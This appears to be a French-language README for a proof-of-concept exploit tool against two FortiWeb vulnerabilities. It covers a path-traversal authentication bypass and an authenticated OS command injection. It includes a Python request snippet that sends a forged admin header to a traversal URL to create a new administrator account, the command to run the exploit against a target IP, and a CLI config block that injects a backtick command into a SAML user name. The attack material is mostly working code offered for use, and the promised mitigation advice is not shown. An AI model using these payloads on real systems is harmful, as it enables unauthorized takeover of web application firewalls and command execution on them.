
Exploit PoC pour les CVE FortiWeb : contournement d'authentification via traversée de chemin et injection de commandes OS authentifiée. Comprend une analyse détaillée, des charges utiles et des conseils d'atténuation pour les tests de sécurité.
FortiWeb est un pare-feu d'applications Web (WAF) utilisé pour protéger les applications Web.
En 2025, deux vulnérabilités critiques ont été découvertes :
| Champ | Contenu |
|---|---|
| Type de vulnérabilité | Relative Path Traversal Contournement d'authentification |
| Cause | FortiWeb ne traite pas strictement les chemins avant l'authentification : - Contrôle d'accès basé sur une chaîne de chemin logique - Normalisation incomplète du chemin - Permet d'utiliser ../ pour accéder à des ressources internes |
| Description | Certains points de terminaison d'administration peuvent être consultés sans authentification valide |
| Impact | - Contournement d'authentification complet - Accès non autorisé aux fonctions d'administration - Rupture du modèle d'autorisation |
| Versions affectées | - 8.0.0 – 8.0.1 - 7.6.0 – 7.6.4 - 7.4.0 – 7.4.9 - 7.2.0 – 7.2.11 - 7.0.0 – 7.0.11 |
Exemple :
/api/v2.0/cmdb/system/../../../../../../cgi-bin/fwbcgi
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
Ceci permet d'éviter les conflits de versions de bibliothèques, d'assurer la stabilité de l'environnement de travail et de limiter l'impact sur le système.

Payload
cgiinfo_json = {
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()
conn.request("POST", "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi", body=body_data, headers=headers)
resp = conn.getresponse()
result = {
'target': f"{host}:{port}",
'status': resp.status,
'user': username,
'password': password,
'success': resp.status == 200
}
Exécution de l'outil avec Python3 :
python3 exploit.py <IP_target>
<IP_target> : L'adresse IP ici est le nom d'hôte de l'appareil FortiWeb.
Obtention du nom d'utilisateur et du mot de passe -> procéder à la connexion

Exploitation réussie et création d'un nouveau compte avec privilèges d'administrateur.
Après une connexion réussie avec le compte administrateur nouvellement créé, l'attaquant peut exploiter la vulnérabilité d'injection de commandes authentifiée via des requêtes spécialement conçues ou directement via l'interface en ligne de commande FortiWeb CLI :
config user saml-user
edit "`id`" ## nhập lệnh tại đây
set entityID http://foo
set service-path /foo
set enforce-signing disable
set slo-bind post
set slo-path /foo
set sso-bind post
set sso-path /foo
end
FortiWeb quittera la chaîne de configuration et exécutera la commande id lors de la configuration de saml-user.
| Champ | Contenu |
|---|
| Type de vulnérabilité | Injection de commandes système (CWE-78) |
| Cause | FortiWeb traite les entrées de manière non sécurisée lors de l'exécution de commandes système : - Absence de validation des entrées - Manque d'échappement des caractères spéciaux - Transmission directe des données utilisateur à la commande système |
| Description | La vulnérabilité nécessite une authentification mais permet l'injection de commandes système |
| Impact | - Exécution de commandes non désirées - Accès aux ressources système - Atteinte à l'intégrité et à la disponibilité |
| Versions affectées | - 8.0.0 – 8.0.1 - 7.6.0 – 7.6.5 - 7.4.0 – 7.4.10 - 7.2.0 – 7.2.11 - 7.0.0 – 7.0.11 |